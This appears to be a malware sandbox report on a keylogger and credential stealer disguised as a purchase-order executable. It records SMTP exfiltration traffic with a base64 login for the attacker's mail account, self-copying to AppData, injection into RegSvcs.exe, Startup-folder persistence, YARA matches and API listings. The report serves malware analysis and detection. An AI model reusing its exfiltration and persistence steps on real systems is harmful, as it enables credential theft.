Sep 19, 2024 12:25:00.444258928 CEST	587	61705	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:25:00.444766998 CEST	61705	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:25:00.492597103 CEST	587	61703	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:25:00.607256889 CEST	587	61705	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:25:00.612689972 CEST	61705	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:25:00.775782108 CEST	587	61705	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:25:02.014466047 CEST	587	61707	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:25:02.044926882 CEST	61707	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:25:02.199963093 CEST	587	61707	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:25:02.201107979 CEST	61707	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:25:02.362487078 CEST	587	61707	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:25:02.486083031 CEST	587	61705	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:25:02.488866091 CEST	61705	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>

Target ID:	0
Start time:	06:21:02
Start date:	19/09/2024
Path:	C:\Users\user\Desktop\New Order PO#86637.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order PO#86637.exe"
Imagebase:	0x400000
File size:	1'332'869 bytes
MD5 hash:	6FA58744FFB09C72C150F276F7C79ECD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:21:02
Start date:	19/09/2024
Path:	C:\Users\user\AppData\Local\directory\name.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order PO#86637.exe"
Imagebase:	0x400000
File size:	1'332'869 bytes
MD5 hash:	6FA58744FFB09C72C150F276F7C79ECD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:21:03
Start date:	19/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order PO#86637.exe"
Imagebase:	0x800000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:21:15
Start date:	19/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs"
Imagebase:	0x7ff62d920000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:21:16
Start date:	19/09/2024
Path:	C:\Users\user\AppData\Local\directory\name.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\directory\name.exe"
Imagebase:	0x400000
File size:	1'332'869 bytes
MD5 hash:	6FA58744FFB09C72C150F276F7C79ECD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:21:16
Start date:	19/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\directory\name.exe"
Imagebase:	0x270000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000006.00000002.4535184676.0000000000363000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0.9%
Signature Coverage:	4.1%
Total number of Nodes:	1894
Total number of Limit Nodes:	37

Executed Functions

Function 0040D590 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0040D5AA

Part of subcall function 00401F20: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\New Order PO#86637.exe,00000104,?), ref: 00401F4C
Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402007
Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 0040201D
Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402033
Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402049
Part of subcall function 00401F20: _wcscpy.LIBCMT ref: 0040207C

IsDebuggerPresent.KERNEL32 ref: 0040D5B6
GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\New Order PO#86637.exe,00000104,?,004A7F50,004A7F54), ref: 0040D625

Part of subcall function 00401460: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 004014A5

SetCurrentDirectoryW.KERNEL32(?,00000001), ref: 0040D699
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00484C92,00000010), ref: 0042E1C9
SetCurrentDirectoryW.KERNEL32(?), ref: 0042E238
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0042E268
GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 0042E2B2
ShellExecuteW.SHELL32(00000000), ref: 0042E2B9

Part of subcall function 00410390: GetSysColorBrush.USER32(0000000F), ref: 0041039B
Part of subcall function 00410390: LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
Part of subcall function 00410390: LoadIconW.USER32(?,00000063), ref: 004103C0
Part of subcall function 00410390: LoadIconW.USER32(?,000000A4), ref: 004103D3
Part of subcall function 00410390: LoadIconW.USER32(?,000000A2), ref: 004103E6
Part of subcall function 00410390: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
Part of subcall function 00410390: RegisterClassExW.USER32(?), ref: 0041045D

Part of subcall function 00410570: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
Part of subcall function 00410570: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105E4
Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105EE

Part of subcall function 0040E0C0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E1A7

Strings

C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 0040D5EB, 0040D61A, 0040D631, 0042E281
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 0042E1C2
runas, xrefs: 0042E2AD, 0042E2DC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcscpy
String ID: C:\Users\user\Desktop\New Order PO#86637.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
API String ID: 2495805114-2897264345
Opcode ID: e8c9047fb359c29ec9f900fe27c3aa55fa0c8583f95d62b388df9f145cb8bf6e
Instruction ID: d8104b1e62918721d1641daf81013a976a0e8d4b3b5b72af0edf1e1af392be53
Opcode Fuzzy Hash: e8c9047fb359c29ec9f900fe27c3aa55fa0c8583f95d62b388df9f145cb8bf6e
Instruction Fuzzy Hash: A3513B71A48201AFD710B7E1AC45BEE3B689B59714F4049BFF905672D2CBBC4A88C72D

Function 0040E500 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0040E52A

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

GetCurrentProcess.KERNEL32(?), ref: 0040E5D4
GetNativeSystemInfo.KERNELBASE(?), ref: 0040E632
FreeLibrary.KERNEL32(?), ref: 0040E642
FreeLibrary.KERNEL32(?), ref: 0040E654

Strings

0SH, xrefs: 0040E55C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_memmove_wcslen
String ID: 0SH
API String ID: 3363477735-851180471
Opcode ID: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
Instruction ID: 6dc39e8e7f592ebea2fdbb3e4710260bd4e3e134fe0a85e77c096ec086c2d55c
Opcode Fuzzy Hash: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
Instruction Fuzzy Hash: E361C170908656EECB10CFA9D84429DFBB0BF19308F54496ED404A3B42D379E969CB9A

Function 0040EBD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(uxtheme.dll,0040EBB5,0040D72E), ref: 0040EBDB
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EBED

Strings

IsThemeActive, xrefs: 0040EBE7
uxtheme.dll, xrefs: 0040EBD6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsThemeActive$uxtheme.dll
API String ID: 2574300362-3542929980
Opcode ID: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
Instruction ID: d0aec1e7cdd3fc231052cfb2f432bc7d0e698e699ac1f50efe2d89ca8b78c0bc
Opcode Fuzzy Hash: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
Instruction Fuzzy Hash: D6D0C7B49407039AD7305F71C91871B76E47B50751F104C3DF946A1294DB7CD040D768

Function 004091E0 Relevance: 44.6, APIs: 22, Strings: 3, Instructions: 837windowsleepCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409266
Sleep.KERNEL32(0000000A,?), ref: 004094D1
TranslateMessage.USER32(?), ref: 00409556
DispatchMessageW.USER32(?), ref: 00409561
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409574

Strings

@GUI_CTRLHANDLE, xrefs: 0042DB42
@GUI_WINHANDLE, xrefs: 0042DAFF
@GUI_CTRLID, xrefs: 0042DAC7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Message$Peek$DispatchSleepTranslate
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
API String ID: 1762048999-758534266
Opcode ID: 65ef02fb38a27282c9e7cf101ebea7aa72ed4640524a943440740a68ee139f81
Instruction ID: 6221a9036d09df45d33125ba93b856da71e554157a22c4cdc10a0b2ba1356448
Opcode Fuzzy Hash: 65ef02fb38a27282c9e7cf101ebea7aa72ed4640524a943440740a68ee139f81
Instruction Fuzzy Hash: EF62E370608341AFD724DF25C884BABF7A4BF85304F14492FF94597292D778AC89CB9A

Function 00401F20 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\New Order PO#86637.exe,00000104,?), ref: 00401F4C

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

__wcsicoll.LIBCMT ref: 00402007
__wcsicoll.LIBCMT ref: 0040201D
__wcsicoll.LIBCMT ref: 00402033

Part of subcall function 004114AB: __wcsicmp_l.LIBCMT ref: 0041152B

__wcsicoll.LIBCMT ref: 00402049
_wcscpy.LIBCMT ref: 0040207C
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\New Order PO#86637.exe,00000104), ref: 00428B5B

Strings

/AutoIt3OutputDebug, xrefs: 00402018
CMDLINE, xrefs: 00401F9D
/ErrorStdOut, xrefs: 00402002
CMDLINERAW, xrefs: 00401F74
/AutoIt3ExecuteScript, xrefs: 00402044
C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 00401F46, 00401F52, 00401F65, 00402077, 00402095, 00428B48, 00428BA0
/AutoIt3ExecuteLine, xrefs: 0040202E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll$FileModuleName$__wcsicmp_l_memmove_wcscpy_wcslen
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\New Order PO#86637.exe$CMDLINE$CMDLINERAW
API String ID: 3948761352-4144531230
Opcode ID: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
Instruction ID: a67d1fff980de619c7b08a01c822048bbc87f212fdb5160913ca6de555091b2a
Opcode Fuzzy Hash: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
Instruction Fuzzy Hash: 0E718571D0021A9ACB10EBA1DD456EE7774AF54308F40843FF905772D1EBBC6A49CB99

Function 00452719 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fread_nolock.LIBCMT ref: 0045273E
__fread_nolock.LIBCMT ref: 00452780
__fread_nolock.LIBCMT ref: 0045279E
_wcscpy.LIBCMT ref: 004527D2
__fread_nolock.LIBCMT ref: 004527E2
__fread_nolock.LIBCMT ref: 00452800
_wcscpy.LIBCMT ref: 00452831
_fseek.LIBCMT ref: 0045286B
__fread_nolock.LIBCMT ref: 0045287E
_fseek.LIBCMT ref: 00452897

Strings

D)E, xrefs: 00452878, 00452883, 0045287D, 00452893, 00452896
FILE, xrefs: 00452759
D)E, xrefs: 0045281C, 00452828

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __fread_nolock$_fseek_wcscpy
String ID: D)E$D)E$FILE
API String ID: 3888824918-361185794
Opcode ID: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
Instruction ID: d9efd4ed024b2b159ad8c10c4a9bf0fd337e36d0f3dc2ca46923192c63d65648
Opcode Fuzzy Hash: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
Instruction Fuzzy Hash: DC4196B2910204BBEB20EBD5DC81FEF7379AF88704F14455EFA0497281F6799684CBA5

Function 0040E360 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040E3FF
__wsplitpath.LIBCMT ref: 0040E41C

Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50

_wcsncat.LIBCMT ref: 0040E433
__wmakepath.LIBCMT ref: 0040E44F

Part of subcall function 00413A9E: __wmakepath_s.LIBCMT ref: 00413AB4

Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651

_wcscpy.LIBCMT ref: 0040E487

Part of subcall function 0040E4C0: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD

_wcscat.LIBCMT ref: 00427541
_wcslen.LIBCMT ref: 00427551
_wcslen.LIBCMT ref: 00427562
_wcscat.LIBCMT ref: 0042757C
_wcsncpy.LIBCMT ref: 004275BC

Strings

Include, xrefs: 0040E42D
\, xrefs: 0042756A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscat_wcslenstd::exception::exception$Exception@8FileModuleNameOpenThrow__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpy
String ID: Include$\
API String ID: 3173733714-3429789819
Opcode ID: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
Instruction ID: e70d120923bcd55e0c09bdb97153e7c20ea4c8242d515b2096525f9594b4aeca
Opcode Fuzzy Hash: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
Instruction Fuzzy Hash: 9851DAB1504301ABE314EF66DC8589BBBE4FB8D304F40493EF589972A1E7749944CB5E

Function 004528BD Relevance: 19.7, APIs: 13, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fseek.LIBCMT ref: 0045292B

Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045273E
Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452780
Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045279E
Part of subcall function 00452719: _wcscpy.LIBCMT ref: 004527D2
Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 004527E2
Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452800
Part of subcall function 00452719: _wcscpy.LIBCMT ref: 00452831

__fread_nolock.LIBCMT ref: 00452961
__fread_nolock.LIBCMT ref: 00452971
__fread_nolock.LIBCMT ref: 0045298A
__fread_nolock.LIBCMT ref: 004529A5
_fseek.LIBCMT ref: 004529BF
_malloc.LIBCMT ref: 004529CA
_malloc.LIBCMT ref: 004529D6
